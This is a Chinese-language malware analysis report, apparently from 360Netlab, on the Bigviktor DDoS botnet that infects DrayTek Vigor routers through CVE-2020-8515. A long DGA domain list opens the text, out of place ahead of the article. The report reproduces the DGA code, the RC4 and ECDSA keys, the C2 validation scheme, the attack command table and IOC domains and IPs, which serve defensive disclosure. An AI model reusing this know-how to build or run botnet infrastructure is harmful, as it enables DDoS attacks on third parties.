understandboring-drink.click
secure.askafterjoin.realty
learnstillintroduction.click
comegladsalt.realty
sitgrandbench.art
watcheducationalcloset.nl
appearoldboss.tel
remainmaximumrepublic.fans
buyavailablestay.net
play-happyrefrigerator.tel
understand-leftnet.tel
spendgamenurse.tel
add-localmuscle.art
understandvisiblefire.rocks
www.runjuniorstress.observer
runold-response.art
continuepracticalswitch.observer
sellextension-fall.click
start-negativecourse.com
spendlegalrepeat.com
diecornerconsideration.click
leadresident-drive.futbol
www.payforeignglad.club
play-logical-unit.net
become-used-grass.pictures
cutsubstantialdeal.rocks
standfinalbid.art
leaddependenttale.futbol
die-used-back.in
play-flatambition.nl
raiseagent-pressure.art
openthenmouse.top
readobviouscow.info
useresidentfunction.tel
standafterpicture.observer
raise-proofmight.xyz
needfarking.club
showseriousback.art
smtp.sitprizerelative.observer
raiseextensionmuscle.art
know-financiallecture.rocks
lookdeepmake.com
providenewexamination.click
keep-constantfinish.click
feelconnectconcert.link
noc.buildacceptablewait.futbol
openexactanimal.one
send-bestweb.one
expectstrangeprocedure.realty
passsevereconfidence.club
x.setentire-cup.pictures
server.thinkpurplerepeat.info
download.paytightcomparison.top
goagent-read.in
sendcapital-recording.xyz
follow-femaleside.nl
likecoldclient.net
happen-sparelay.click
makedecent-individual.net
waitwhite-bit.nl
sellwestreport.fans
work-realisticdevelopment.art
goworkingprize.rocks
do-plenty-cross.realty
takethink-force.observer
suggestsevereblood.art
meandirtybox.nl
admin.loveeastfood.org
staymental-energy.xyz
go-local-gap.club
email.servepoliticalhighway.org
callnorthkiss.club
email.takesilver-impact.rocks
sellweirdsensitive.club
staydifferentobject.nl
writesilverstruggle.net
server.allowdrunkabuse.com
livestatusnail.in
movetimething.nl
reportresponsibleswitch.tel
writeseparateliterature.com
sitnearby-tackle.nl
addpsychologicalbuilding.org
buy-moremarch.click
serveofficialpoint.art
comesmartfeeling.one
ww1.be-lostwindow.net
addavailablekind.xyz
bringupstairs-adult.realty
set-consistent-property.one
watchaggressivecategory.info
begin-both-branch.futbol
th.runroutineinvite.net
stopproofcommission.info
play-culturalplate.nl
www2.read-incident-branch.net
comeeitherhelp.tel
appearlegalprocedure.net
seemmiddledelay.tel
meancreativecommittee.org
www1.believesimilar-thing.futbol
expectsouthinevitable.futbol
seemdress-homework.top
happen-homewave.rocks
addpuretop.art
tellreasonabledocument.click
growminimumtelevision.net
pop.come-awareyard.net
understandvisualstation.tel
secure.giveglad-city.art
likenearbystomach.realty
losecoolanalysis.fans
getoriginaltrash.click
includefamousdrag.fans
spendfamiliar-gather.tel
workmanychampionship.futbol
learnanother-inside.tel
sitbrightrope.com
openunhappypicture.futbol
www.trywide-principle.futbol
changeminor-march.futbol
workgeneraltrick.info
add-criticalvoice.art
buystraightdeep.fans
sayintelligentaspect.click
liveplasticcounty.click
decideillegalquality.top
feelgold-series.pictures
bbs.dodrunkanything.com
remainbothfeel.fans
bringeasttruck.com
createobviouspeople.top
considerproperproduct.com
adddeepresolve.link
help-recentspeech.pictures
happen-southcountry.art
servecorner-strength.com
email.likemobilelocation.click
readborn-access.pictures
a.takeuglyparent.com
meanmountainpride.click
believe-headrise.club
runaccordingload.nl
th.winrealpriority.rocks
hearnewnegative.observer
includedifferentdetail.observer
buildchickentraffic.fans
use-physicaldepression.tel
considerpowerfulfruit.observer
test.buy-timeshoulder.com
playsuddenbird.in
killseveral-city.one
takesignalincident.in
work-reasonablebreak.pictures
besadenvironment.art
showeastyard.one
seeprettyinspector.in
buygladexchange.art
raiseeastbedroom.xyz
letmad-juice.in
expecthappydrop.nl
begin-ordinarystupid.rocks
goaggressivenasty.xyz
writegloballandscape.in
putenvironmentalimagination.futbol
wantbrightear.one
consider-culturalmenu.net
pay-cornerfat.one
suggest-relativereputation.tel
cam.lookfewnewspaper.nl
turn-everybitter.net
find-cooloutcome.info
continueexpertcontract.tel
holdthickshift.observer
helpdeepsnow.click
trybitter-twist.pictures
pop.offersingle-preparation.in
seemsingleroof.observer
bbs.requireobviouscandle.xyz
turnroughcandy.net
hearnextchest.pictures
openhardmanagement.com
think-exactstroke.top
beginannualgirl.in
providechemical-release.top
th.usebestpull.com
www.dolatefruit.org
providebasicmiddle.org
secure.lookstupidvaluable.click
thinkrelevant-sail.nl
givelogical-brain.net
watchpotentialinitial.info
startinternalgolf.net
www.happen-openingcake.club
tftp.pullleastbeing.art
helpsaferepeat.com
thinksmartfact.net
cloud.let-specialcomparison.net
vpn.sellroughswitch.pictures
go-hungrycarpet.art
follownaturalmeasurement.futbol
stand-inevitabletradition.info
server.speakgooddog.futbol
feelsexualisland.observer
understandinternationalphrase.art
sellnativeself.nl
love-perfecthealth.link
a.waitloud-currency.observer
secure.raise-illdeparture.futbol
knowenvironmentalambition.observer
cam.believesaltleading.observer
thinkdeadsurprise.fans
offerfalse-education.observer
remainactive-beach.pictures
www1.raisefederalclimate.club
watchworkhalf.observer
serveokfinish.info
www2.reportcuriouswait.link
run-classicspray.tel
meetpastaccident.tel
playplasticaccount.club
standvaluablestay.com
runtraditionalmess.in
dev.move-significant-assignment.club
considercompletequality.one
addbornticket.one
ftp.createsorrymembership.nl
providefriendlycity.net
ssl.lovegreatglad.realty
wanteconomywash.net
gw.setusualdouble.realty
openminorboot.tel
becivilappearance.rocks
support.callactualsimple.click
rememberbasicsuggestion.one
saycompetitiveseat.in
lovefast-check.link
learnsouthern-art.rocks
considerprofessionalowner.tel
meanspecificclassroom.nl
bring-fewspare.xyz
read-obvious-stress.org
stand-eastappointment.art
killacceptabledump.click
happentypicalweather.one
email.stayupstairswave.top
webmail.doevening-literature.realty
admin.passbravesleep.observer
addboth-league.realty
raiseplastictowel.club
comelittlebit.org
gw.continuechoicelink.club
happenpopularfamiliar.fans
allow-classicscale.net
expecttightimagination.rocks
noc.beginonlypromise.art
serveappropriatebutton.one
usesillypermission.top
include-eachpension.pictures
remembertrainingpermit.rocks
understandfemale-equipment.pictures
dieresponsible-brief.link
tftp.offer-corner-border.one
saybriefgreat.realty
tellkindkeep.pictures
hold-tough-farmer.top
passnationaldifference.net
shop.send-deep-month.pictures
buystrictconsist.observer
offerremarkabledress.com
buycomprehensiveopening.tel
fall-appropriate-employee.art
seemheadchip.observer
sendremarkablesock.pictures
sell-psychological-board.club
meanimportantmarriage.in
stayconstanta.nl
knowfatmedium.one
providecriticalplay.click
beparkingtechnology.futbol
speakcuriousextension.futbol
www.speakwooden-evening.realty
allowcomplexleather.futbol
setaggressivewall.realty
leadchemicalsuccess.nl
createpracticalimportance.tel
likeremoteinitial.info
m.setsuddendesign.in
killmaintransportation.com
playcapitalsad.org
tftp.learnsorrytype.nl
keepwrongphone.futbol
let-emergencysinger.observer
offerafterbrick.link
seemcharactermixture.club
expectwild-concept.rocks
makesome-tower.click
sayasleepresource.art
remainyellowregular.tel
mean-lastoutside.org
www1.movestock-nose.nl
followemergency-camp.nl
offernoveloutside.xyz
looknicenorth.top
lovetrainingtoe.observer
leadwrongactor.in
th.consider-immediate-specialist.top
raiseslight-win.club
seemlonely-quality.info
tftp.buildappropriatevast.club
followalonewonder.rocks
web.growstillscreen.art
rememberprofessionalpresentation.rocks
requirestrongchip.pictures
tryanotherunique.club
decideopenwriting.com
helpunusual-daughter.pictures
email.followsmalldeparture.link
rememberbeautiful-test.top
send-searecipe.info
buypersonallife.xyz
createkitchenchild.click
havemuch-page.pictures
expectbackgroundaddition.observer
leavequietmarket.org
starthismix.link
movepresentinternational.realty
dointeresting-control.futbol
ww1.remainsoutherncity.pictures
usecarproduce.one
raiseeveningcorner.art
believesecret-female.net
happenlivingtill.one
shop.loseeaststill.xyz
decidefineentry.info
openphysicalsympathy.info
lovevisualdebate.nl
tryopeningwhile.link
have-plasticdrawer.top
news.tellpregnantratio.one
changeunhappysecond.observer
reportkitchen-formal.one
trypopularreplacement.click
trymaster-self.pictures
wantsecretdevice.rocks
feelwideestate.xyz
email.killcheap-poetry.futbol
letparkingbuddy.art
do-sensitivesex.info
cutmanymine.xyz
build-comprehensivepick.club
followdirty-reach.club
th.getunfairscene.futbol
changeintelligentdeep.com
considerhisreputation.nl
buildcurrentlesson.one
cloud.set-thinkpattern.one
bringdeep-revolution.one
askeducationalsuggestion.futbol
dopretendgear.com
ftp.pull-topsector.fans
bringbrightpull.in
work-afraidyard.art
standtalltarget.in
set-slight-proof.futbol
vpn.diefreeyesterday.futbol
liveequalbook.tel
learnpretendtechnology.net
startseparateopening.nl
find-yellownational.fans
callmedium-son.one
happenexternal-candy.click
stoptraditionalfuel.futbol
raisetotalapplication.art
spend-accordingwill.rocks
pullnearbywall.tel
talkeitherjuice.fans
continueunablebet.observer
img.cutwonderfulcheek.observer
followobviouscode.club
waitlonelygift.nl
passaggressivedefinition.pictures
ssl.putsea-people.club
killleadingexam.realty
waitotherwiserequirement.fans
feelpure-conference.rocks
stayoriginalprocess.fans
pulltimeswitch.observer
leadlevelcomfortable.xyz
startbriefeffective.net
sayembarrassed-maintenance.fans
wantrelevantbar.pictures
knowbornoutside.click
do-innerpen.club
tryresponsible-injury.click
webmail.remembersafehang.art
raisefewmix.in
holdstatus-forever.net
change-distinctrecording.net
comeplasticpermission.futbol
suggestgreatstudio.top
email.bringpretty-guide.org
changesouth-preference.org
wantseverebread.futbol
sellbettermail.observer
decideawayad.futbol
staymassive-yellow.xyz
www1.understandusefulpaint.org
workcheap-disaster.nl
letpatientunique.link
watchfair-bug.nl
holdasleepstructure.observer
</code></pre>
<!--kg-card-end: markdown--> | 概览
2020年6月17日，360Netlab未知威胁检测系统发现一个低检测率的可疑ELF文件(dd7c9d99d8f7b9975c29c803abdf1c33)，目前仅有一款杀毒引擎检测识别;同时流量检测系统将其产生的部分流量标注了疑似DGA，这引起了我们的注意。经过详细分析，我们确定这是一个通过CVE-2020-8515漏洞传播，针对DrayTek Vigor路由器设备，拥有DGA特性，主要功能为DDos攻击的新僵尸网络的Bot程序。因为传播过程中使用的"viktor"文件名(/tmp/viktor)以及样本中的0xB16B00B5(big boobs)字串，我们将其命名为Bigviktor。
从网络层面来看，Bigviktor遍历DGA每月产生的1000个随机域名，通过请求RC4加密&ECSDA256签名的s.jpeg来确认当前存活的有效C2，然后向C2请求image.jpeg,执行具体的任务；从功能层面来看，Bigviktor支持8种指令，可以分成2大功能
* DDoS攻击
* 自更新
其整体网络结构如图所示，
Botnet规模
日活Bot
DGA是双刃剑，在给作者逃避检测的同时，也给了安全人员机会抢注域名从而劫持僵尸网络的感染主机，我们注册了几个Bigviktor在6月份和7月份生成的域名(workfrequentsentence.club, waitcornermountain.club)，用来统计该Botnet的规模，目前我们观察到有900个左右的IP被感染。但从Bigviktor DGA域名的访问情况看目前其规模正在稳步扩张中。其日活跃Bot趋势入下图所示：
Bot地理位置分布
被感染的设备IP区域分布如下：
这些IP的主要ASN分布如下：
412 AS45899|VNPT_Corp
194 AS7552|Viettel_Group
190 AS18403|The_Corporation_for_Financing_&_Promoting_Technology
90 AS3462|Data_Communication_Business_Group
82 AS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.
66 AS8151|Uninet_S.A._de_C.V.
52 AS45903|CMC_Telecom_Infrastructure_Company
34 AS3352|Telefonica_De_Espana
28 AS17552|True_Internet_Co.,Ltd.
22 AS8881|1&1_Versatel_Deutschland_GmbH
被感染设备
通过获取被感染设备80，8080，443端口web页面title，我们得知当前被感染DrayTek Vigor路由器版本分布为:
269 Vigor 2960
107 Vigor 3900
87 Vigor 300B
逆向分析
我们一共捕获了2个版本，其中第一个版本的bot 程序似乎有bug, 不能正常运行，本文以最新版本为例进行逆向分析。
样本信息
MD5:dd7c9d99d8f7b9975c29c803abdf1c33
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer: None
总体来说，Bigviktor功能比较简单，运行时绑定本地端口实现单一实例，使用RC4算法解密敏感资源，其中包括了DGA所需要的词组信息，接着使用DGA基于这词组信息产生1000个C2域名，通过libcurl库向特定网址发出请求，测试网络连通。若网络正常则向C2域名请求s.jpeg资源验证C2的合法性；当通过了合法性测试后，再向C2 域名请求male.jpeg ,image.jpeg资源，进行DDos攻击。上述Bot行为可以分成辅助行为和核心行为俩大类，下文将从这个角度来剖析Bigviktor的实现。
辅助行为
1:使用libcurl库访问网络资源
DNS Option:
1.1.1.1,8.8.8.8
User-Agent Option:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
Accept Option:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
2:绑定端口61322实现单一实例
3:RC4加密敏感资源，资源包括DGA所需的词组信息，白网址，升级文件存放路径等
RC4密钥为
DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01
02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91
以DGA产生domain所需的后缀词为例，密文如下
00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|
00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|
00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|
00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|
00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|
00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|
00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|
00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|
00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|
00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|
000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|
000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\gw.¶6KmÂ|
000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|
000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|
000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|
000000f0 59 51 e7 0b cf a7 d0 1a 94 e8 ed c2 cc f2 21 17 |YQç.ϧÐ..èíÂÌò!.|
00000100 e5 7a b5 6f 84 66 8a a1 c1 18 52 cb 50 38 6b ea |åzµo.f.¡Á.RËP8kê|
00000110 4b 10 13 56 13 b4 9c b2 3b b4 3e 4c 3c cc 01 cc |K..V.´.²;´>L<Ì.Ì|
00000120 81 ab 13 97 6c 49 e7 85 54 5f d0 92 3f 9b 7d a8 |.«..lIç.T_Ð.?.}¨|
00000130 44 72 81 54 50 4f e1 7f b5 fd 1a 78 3b 14 e3 d4 |Dr.TPOá.µý.x;.ãÔ|
解密后
00000000 61 72 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |art.............|
00000010 63 6c 69 63 6b 00 00 00 00 00 00 00 00 00 00 00 |click...........|
00000020 63 6c 75 62 00 00 00 00 00 00 00 00 00 00 00 00 |club............|
00000030 63 6f 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 |com.............|
00000040 66 61 6e 73 00 00 00 00 00 00 00 00 00 00 00 00 |fans............|
00000050 66 75 74 62 6f 6c 00 00 00 00 00 00 00 00 00 00 |futbol..........|
00000060 69 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |in..............|
00000070 69 6e 66 6f 00 00 00 00 00 00 00 00 00 00 00 00 |info............|
00000080 6c 69 6e 6b 00 00 00 00 00 00 00 00 00 00 00 00 |link............|
00000090 6e 65 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |net.............|
000000a0 6e 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |nl..............|
000000b0 6f 62 73 65 72 76 65 72 00 00 00 00 00 00 00 00 |observer........|
000000c0 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 |one.............|
000000d0 6f 72 67 00 00 00 00 00 00 00 00 00 00 00 00 00 |org.............|
000000e0 70 69 63 74 75 72 65 73 00 00 00 00 00 00 00 00 |pictures........|
000000f0 72 65 61 6c 74 79 00 00 00 00 00 00 00 00 00 00 |realty..........|
00000100 72 6f 63 6b 73 00 00 00 00 00 00 00 00 00 00 00 |rocks...........|
00000110 74 65 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 |tel.............|
00000120 74 6f 70 00 00 00 00 00 00 00 00 00 00 00 00 00 |top.............|
00000130 78 79 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 |xyz.............|
4:通过访问特定网址测试网络连通性，获取当前日期
特定网址由RC4解密获得，
jd.com weibo.com vk.com
csdn.net okezone.com office.com
xinhuanet.com babytree.com livejasmin.com
twitch.tv naver.com aliexpress.com
stackoverflow.com tribunnews.com yandex.ru
soso.com msn.com facebook.com
youtube.com baidu.com en.wikipedia.org
twitter.com amazon.com imdb.com
reddit.com pinterest.com ebay.com
tripadvisor.com craigslist.org walmart.com
instagram.com google.com nytimes.com
apple.com linkedin.com indeed.com
play.google.com espn.com webmd.com
cnn.com homedepot.com etsy.com
netflix.com quora.com microsoft.com
target.com merriam-webster.com forbes.com
tmall.com baidu.com qq.com
sohu.com taobao.com 360.cn
tianya.cn
访问这些网址中的一个，得到当前日期，这个时间将在DGA中使用。
format %a, %d %b %Y
Fri, 10 Jul 2020
核心行为
1:使用DGA产生的C2域名
域名格式为[prefix.]verbe[-]adjective[-]noun.surfix,[]中内容表示可选，其中prefix有40个词，verbe有100个词，adjective有525个词，noun有1522个词，surfix有20个词。算法实现如下
void GenNewKey(uint32_t &key)
{
uint32_t tmp = key ^ (key << 13) ^ ((key ^ (uint32_t)(key << 13)) >> 17);
key = tmp ^ 32 * tmp;
};
string c2url;
GenNewKey(seed);
//1:prefix part
if (seed % 5 == 0)
{
GenNewKey(seed);
c2url += prefix[seed % 40];
c2url += ".";
}
//2:verbe part
GenNewKey(seed);
c2url += verbe[seed % 100];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//3:adj part
GenNewKey(seed);
c2url += adj[seed % 525];
GenNewKey(seed);
if (seed % 10 <= 1)
c2url += "-";
//4:noun part
GenNewKey(seed);
c2url += noun[seed % 1522];
c2url += ".";
//5:surfix part
GenNewKey(seed);
c2url += surfix[seed % 20];
初始key是访问特定网址得到的日期按%b %Y 00:00格式生成字串后所计算SHA256值的前4字节，例如
currtent date: Fri, 10 Jul 2020
format ---->Jul 2020 00:00
sha256 ---->6ac0f83915ed5d7b9bb7055723084df001b16a552d758de3c415f083f931ab8c
get first 4 bytes ----> key=0x6ac0f839
因此每个月的DGA doamin是不一样的，7月全部DGA domain见文章尾。以7月的key（0x6ac0f839）为例，生成的前5个domain
c2url: decidefresh-county.in
c2url: payculturaltour.org
c2url: standvisiblereach.rocks
c2url: meanforwardcap.top
c2url: raisefitsize.rocks
观察实际数据包DNS请求序列(部分)，可以发现和算法生成的结果是一致的。
2:获取当前存活的有效C2
Bigviktor通过DGA生成1000个域名，然后从1000内的一个随机位置遍历到第1000个域名，若这个过程中没有有效的C2,再从第一个域名遍历到第1000个域名。为了保证网络的完全可控，不被他人窃取，Bigviktor会对s.jpeg文件做签名校验，只有通过了签名校验，这个C2才是有效的。
真实payload加密隐藏于jpeg(s.jpeg;image.jpeg)文件中，jpeg的结构为IMAGE DATA(16 BYTES):Half-RC4 KEY(16 BYTES):Ciphertext,每个样本都集成了一个Half-RC4 KEY用以和payload中的Half-RC4 key拼成完整的秘钥；一个硬编码的ECDSA256公钥用以验签解密后的payload。
Half-RC4 KEY:
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
Pub KEY:
03 2F 37 51 43 1F A3 58 81 66 86 F7 BA 4C A2 30
45 2C 9B 9E 12 9A E9 97 CF 69 09 CF 7F 42 D4 97 88
以s.jpeg(md5:4c6d0bed21bc226dbaf4e6adc7402563)为例
拼接出完整RC4密钥
Half RC4 KEY from s.jpeg + Half Rc4 from sample
------------------------------------------------------
46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0
82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67
解密Ciphertext得到
当校验成功后，就得到了有效C2，具体校验过程如下
* 数字签名校验
* Plaintext[2] ==\x00,Plaintext[3] ==\x09
* Plaintext中的C2与请求s.jpeg的C2是否一致
3:向C2请求具体任务
Bot获得有效C2后，会向C2请求image.jpeg资源
同样image.jpeg也需要解密和校验，成功校验后，Bot就根据image.jpeg的指令进行相应的DDos攻击或update。Bigviktor一共支持8种指令,
cmd
cmd description
1
null
2
connect attack
3
tcp syn attack with fixed source ip
4
tcp syn attack with random source ip
6
update
7
tcp syn attack with random sourceip from male.jpeg
8
tcp syn attack with random sourceip from male.jpeg
9
null
以6月份的一个payload,image.jpeg(2e8c223f8ac1f331c36acd32ee949f6f)为例,
原始数据为
解密Ciphertext得到
可知Bot将进行connect攻击，攻击目标为202.162.108.55，端口80,这和抓包结果是一致的。
处置建议
我们建议网络管理人员排查上述DrayTek Vigor路由器设备，及时升级固件。通过检查设备是否有未知进程绑定61322端口来判定感染与否，Bigviktor没有持久化的机制，因此杀死相应进程，删除对应文件就可以修复。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab上联系我们。
IOC
Sample MD5
7b1ab096b63480864df7b0dcfebe2e2e
dd7c9d99d8f7b9975c29c803abdf1c33
URL
http://91[.219.75.87/binary
http://91[.219.75.87/arm7
C2-IP
151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines
C2-Domain
useinsidehigh.com:80
writeseparateliterature.com:80
Payload
4c6d0bed21bc226dbaf4e6adc7402563 s.jpeg
2e8c223f8ac1f331c36acd32ee949f6f image.jpeg
7月份DGA Domain
decidefresh-county.in
payculturaltour.org
standvisiblereach.rocks
meanforwardcap.top
raisefitsize.rocks
www2.tellapartspring.realty
expectrawknee.com
decidesurepizza.rocks
img.leavetall-sky.nl
dodifferentuser.fans
become-thatspare.futbol
play-better-parent.observer
telldesignerpanic.art
appear-weakrate.observer
support.showremote-conclusion.fans
raiseover-piano.org
meancoolpick.pictures
bringjunior-bench.art
ssl.remainunhappyboy.info
readafterask.net
leavelogicalambition.tel
takedramaticprimary.rocks
test.likerarereality.xyz
cloud.runconstantnerve.fans
stopseafemale.observer
offer-individualthroat.fans
meanthickprivate.info
turnfederalemploy.art
tellcold-top.one
mail2.comefirmdeposit.nl
liketypicalcorner.net
buyliving-balance.observer
video.continueleft-contact.nl
askformer-mission.top
learnaggressive-she.org
email.hearlateformal.in
keepunitedbirth.art
turntruebreakfast.futbol
cutmaingolf.art
dev.likefemalepush.rocks
dev.holdfeelingpreference.click
findvariousfish.tel
tftp.seempowerful-south.art
video.comepureproposal.link
watchcapable-sample.rocks
growborn-law.click
bringefficientvalue.one
beginlower-man.nl
speakoriginalworld.one
putmoneyearth.fans
have-wastebutton.futbol
findwildcollar.info
livepotentialdebt.pictures
mail.pull-capableprofession.tel
passbornsafe.rocks
spendcuteform.realty
walkgrandspot.pictures
take-scaredline.art
set-expensiveice.click
getnovelscratch.in
look-existinghang.com
cloud.considerunhappymain.click
www.hold-futuredisk.rocks
openlegalbus.fans
blog.hearfreshmachine.tel
mail.callthatcouple.click
leaveswimming-cold.one
go-healthyproject.observer
meanconnect-construction.nl
walknervous-video.nl
becomelast-western.com
remembersquare-sale.info
provide-roundwill.com
blog.standswimming-double.rocks
secure.seem-famoushire.tel
speakotheropening.org
holdsudden-psychology.top
hold-frontfilm.one
bringbusinesshold.realty
giveacceptablepay.link
allowremoteindependent.pictures
helpsillyhate.click
knowyellowinstruction.info
seeinternationalmachine.art
considermalescrew.click
paylife-camp.tel
makeold-course.com
www2.becomewarmrefrigerator.nl
download.decidewisecourt.rocks
lose-originalemployer.observer
leadeastprompt.futbol
changeconfidentboot.art
waitcornermountain.club
ww1.understandlegal-cancel.link
suggest-global-other.realty
changeluckytitle.com
playprivateconstruction.art
blog.mean-anyimagination.info
decide-currentemployment.top
considerupsetvirus.fans
letcornercurve.fans
talkfamousfather.club
findvastcoat.org
mail2.use-farbitter.org
remember-chemical-status.tel
vpn.try-signalsort.org
addhappyswim.xyz
standsuddeninternal.tel
raiseanxiousguitar.one
speak-weekly-hire.org
needclosetonight.realty
mail.fallfrequent-affair.fans
startpregnantreference.pictures
appeartight-fun.fans
cutplastic-drag.club
worksea-assumption.com
buytrainingdrag.one
needfemalebrown.futbol
want-mountainform.observer
pop.getless-remove.pictures
mail2.runelectronic-collar.fans
raiselogicalpin.tel
believeextraorganization.realty
remote.servepleasant-cloud.pictures
allowotherdesire.in
set-partycount.realty
diecutemuscle.net
start-sexualfactor.net
dienearbychart.xyz
ns1.requireanxiousflight.nl
a.happenaction-item.tel
secure.reportperfectyouth.xyz
runtraditionalact.observer
becomeunfairsugar.info
news.growfrontclimate.tel
images.expectpurplewriter.pictures
images.seemmaterialvegetable.pictures
runsuitablestruggle.xyz
appearfullfoundation.tel
sellharddead.in
continuebothpipe.com
watchvegetabledatabase.click
stopmiddleapple.net
use-sweetdebt.rocks
meet-purechurch.club
hearduewarning.nl
adddifferent-reference.nl
download.takehousemom.click
buildrawcloset.xyz
putactualsecond.realty
move-muchagreement.club
vpn.letfirst-concept.observer
th.sitthin-character.rocks
www2.dieseparatefeed.in
blog.buyextremeatmosphere.click
believelegalscale.info
buildappropriatestable.net
watch-coolproject.fans
doalternativeseries.link
pull-inevitable-medicine.org
staybroadcost.fans
seeofficial-thanks.net
readlostdiscount.art
serve-redtour.fans
showleatherloss.click
x.putweird-situation.net
loseanotherdisease.realty
mail2.become-alternativeside.futbol
setimpressive-sign.click
x.appearavailablebad.realty
startunusual-status.futbol
noc.waituglyclick.org
download.buildthinkreserve.fans
expectvegetablecurrency.xyz
ftp.spenddirtyrepublic.tel
email.die-prettycandle.art
pop.make-active-pass.click
lovebeginningvast.realty
includeotherwisefamily.xyz
work-historicalarm.nl
passclosescience.pictures
a.sitloud-damage.info
addinternalfreedom.futbol
set-okconcert.realty
requireenvironmentalhelp.nl
download.need-beginningfinal.art
offerdecent-twist.in
dieoriginalpeak.futbol
learnremarkabledefinition.futbol
killembarrassedclient.net
killterriblerecord.tel
images.createrichdisplay.observer
holdlowerfunny.fans
sitsorrycash.realty
playprevioustrain.net
changewestbar.net
showaggressivedamage.nl
feelnecessary-counter.click
liveproudconsequence.realty
try-decent-joint.info
trylatter-trainer.com
showsick-crack.tel
help-animal-boyfriend.org
followpropercollar.nl
take-cultural-white.futbol
workindividualpull.click
dosecuregeneral.link
likeseaprogress.art
worktrueamount.info
pullmalechurch.info
loseseaconstruction.realty
addliveruin.top
writerelevanteast.com
helpsquare-ticket.org
start-unlikelyspring.top
cutrepresentativeslice.xyz
seemiddle-cigarette.in
stopafternoonhistory.xyz
comedrunkindustry.rocks
workenvironmentalthing.club
considerover-expression.xyz
reportcreative-advance.rocks
remainfemaleblind.observer
leavewildcarry.observer
web.mean-businessgreen.observer
followworkstar.futbol
allowamazing-operation.click
gw.havefreshversion.org
remembergrosssingle.click
likecutedevelopment.info
images.showwest-funeral.club
letclassicrefrigerator.in
sayinterestingshow.com
writesufficientglad.click
test.considerusefuldrawing.art
liveslowstar.link
comebudget-improvement.com
setconfidentessay.link
happenunablerock.tel
sitapartdepartment.org
continueopenmap.com
test.writepretendcheek.one
build-representative-score.club
happen-eithermajor.realty
ssl.passplasticdiscussion.observer
killbestinevitable.futbol
pullelectricaltone.observer
img.movemeanadvertising.in
startsuccessfulsick.link
createinevitablelayer.one
setwinterfee.pictures
allow-exactsport.info
helpapartpossession.org
gw.appearsuchquality.com
becomefutureleather.xyz
use-leastmarriage.xyz
includebestjacket.rocks
cam.turn-federalnovel.tel
meetelectricalmain.click
pop.needmajor-pin.com
noc.sit-royaltrouble.net
offerwildincome.top
remote.heareveningwhole.xyz
serveokexchange.click
come-totalsignature.club
offerlowersimple.one
test.cutforwardnasty.nl
livemassive-give.org
ssl.understandweird-chocolate.info
becomeparkingpositive.fans
know-excitingappointment.realty
playtemporaryhand.tel
growdaughtercross.in
reportculturaldistance.club
decide-physicalexam.com
sell-ordinaryradio.com
buy-big-reason.org
ww1.bedependenthospital.top
th.continuenexttop.in
feelenoughmedicine.net
continueflat-meet.org
hearresidentworry.futbol
servesufficientplace.art
x.leadnervouspresident.info
suggestminorconcept.link
img.providecomprehensivenerve.nl
winloosefeedback.nl
findoppositebonus.one
change-evenexplanation.link
walkdeadluck.futbol
sitbusiness-note.rocks
happenfungather.fans
offer-characterdiamond.xyz
know-first-background.link
dev.show-trainingdouble.in
keepmanycard.top
ns1.makechance-chapter.click
reportsparegear.one
images.remainthin-wall.observer
lovesuperconsideration.rocks
www.dostraightcalm.observer
letfutureslide.one
findmediumlog.net
require-globalfix.fans
keep-forwardsomewhere.link
bringparkingperception.observer
web.fallleastcamera.top
showparkingconcern.futbol
find-worksun.one
web.tellaccuratefoot.club
tellleft-scene.observer
appeartop-writing.link
likeextremecategory.info
learnheadexchange.realty
passlogicalminor.link
asktotalfile.in
